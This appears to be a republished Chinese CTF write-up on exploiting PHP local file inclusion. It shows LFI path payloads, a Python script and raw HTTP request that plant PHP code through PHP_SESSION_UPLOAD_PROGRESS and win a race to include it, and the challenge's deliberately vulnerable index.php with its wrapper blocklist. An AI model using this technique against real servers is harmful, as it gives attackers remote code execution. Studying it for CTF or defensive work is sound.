记一次PHP_SESSION_UPLOAD_PROGRESS的本地文件包含
Posted 末 初
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次PHP_SESSION_UPLOAD_PROGRESS的本地文件包含相关的知识,希望对你有一定的参考价值。
来源于今天一位朋友给的题目,叫我帮忙看看
题目名字是有提示LFI
,这个登录框测试了一下发现输入什么都是返回一样,也没有有注入的迹象,url
很明显可能存在LFI
,尝试下读取login.php
/?page=php://filter/convert.base64-encode/resource=login.php
有过滤,简单fuzz了下发现过滤了如下
base、file、http、ftp、phar、gopher、data、zip、read、rot、string、decode、flag、.....
但是直接包含也没什么问题
本来的想法是构造shell被日志文件记录,然后包含日志文件来getshell,但是通过很多配置文件找到日志文件位置竟然无法包含,这就挺迷的。
/?page=/etc/apache2/apache2.conf
/?page=/etc/apache2/sites-enabled/000-default.conf
/?page=/etc/apache2/envvars
根据这些配置文件的信息,日志文件位置应该是
/?page=/var/log/apache2/access.log
啥都没有回显出来,构造shell包含也无法起作用。
然后想起来,前些日子安恒月赛的时候,当PHP Version>5.4
在默认情况下,可以利用到PHP_SESSION_UPLOAD_PROGRESS
来初始化session
,并且会把上传文件的信息记录在session
文件中,待上传文件结束后清除存储上传文件信息session
文件。
更多关于session.upload_progress
请参考:https://www.freebuf.com/vuls/202819.html
那我们就可以通过把上传的文件改为shell内容,然后通过包含来执行我们shell内容,至于session
默认地址就那常见的几个,简单测试下就测试出来了
# -*- coding: utf-8 -*-
import requests
url = 'http://xxx.xxx.xxx.xxx:xxxx/?page=/tmp/sess_mochu7'
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php phpinfo();?>'}
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID': 'mochu7'}
r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
print(r.request.body.decode('utf8'))
得到POST内容
--dca6fb822b1647c7236dfa8b08e1e7fe
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php phpinfo();?>
--dca6fb822b1647c7236dfa8b08e1e7fe
Content-Disposition: form-data; name="file"; filename="mochu7.txt"
mochu7
--dca6fb822b1647c7236dfa8b08e1e7fe--
完整一下POST数据包,更改下Content-Type
即可
POST /?page=/tmp/sess_mochu7 HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 351
Content-Type: multipart/form-data; boundary=---------------------------dca6fb822b1647c7236dfa8b08e1e7fe
Cookie: PHPSESSID=mochu7
-----------------------------dca6fb822b1647c7236dfa8b08e1e7fe
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php phpinfo();?>
-----------------------------dca6fb822b1647c7236dfa8b08e1e7fe
Content-Disposition: form-data; name="file"; filename="mochu7.txt"
mochu7
-----------------------------dca6fb822b1647c7236dfa8b08e1e7fe--
用Intruder
发500
左右个包即可有执行回显,类似条件竞争,抢在被清除前包含执行
PS:如500个包没有一个执行的,数量可以继续加,我这里测试的时候500是有个别个包能执行的
成功执行了shell,接下来切换下payload继续发包
发现可疑flag,/etc/.flag_JHb28snkjhASBvs.txt
读取即可
最后贴一下读取到源码
login.php
<?php error_reporting(0);?><!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>login</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<!--===============================================================================================-->
<link rel="icon" type="image/png" href="http://web2.utctf.live:5006/static/images/icons/favicon.ico">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="./bootstrap.min.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="./font-awesome.min.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="./icon-font.min.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="./animate.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="./hamburgers.min.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="./animsition.min.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="./select2.min.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="./daterangepicker.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="./util.css">
<link rel="stylesheet" type="text/css" href="./main.css">
<!--===============================================================================================-->
</head>
<body>
<div class="limiter">
<div class="container-login100">
<div class="wrap-login100 p-b-160 p-t-50">
<form class="login100-form validate-form" action="" method="post">
<span class="login100-form-title p-b-43">
Account Login
</span>
<div class="wrap-input100 rs1 validate-input" data-validate="Username is required">
<input class="input100" type="text" name="username">
<span class="label-input100">Username</span>
</div>
<div class="wrap-input100 rs2 validate-input" data-validate="Password is required">
<input class="input100" type="password" name="password">
<span class="label-input100">Password</span>
</div>
<div class="container-login100-form-btn">
<button type="submit" class="login100-form-btn">
Sign in
</button>
</div>
</form>
</div>
</div>
</div>
</body></html>
<?php
if (isset($_POST['username']) && isset($_POST['password'])) {
$u = $_POST['username'];
$p = $_POST['password'];
echo("<script>alert('incorrect username or password');</script>");
}
?>
index.php
<?php
error_reporting(0);
if (isset($_GET['d3bug'])) {
phpinfo();
}
if (isset($_GET['page'])) {
$page = $_GET['page'];
$filter = "/\\.\\.|base|file|gopher|http|ftp|phar|base|string|data|zip|compress|base|decode|read|pear|rot|crypt|pear|utf|flag/i";
if (preg_match( $filter , $page) ) {
die("hacker");
}
include $page;
} else {
echo "<script>location.href='./?page=login.php'</script>";
}
以上是关于记一次PHP_SESSION_UPLOAD_PROGRESS的本地文件包含的主要内容,如果未能解决你的问题,请参考以下文章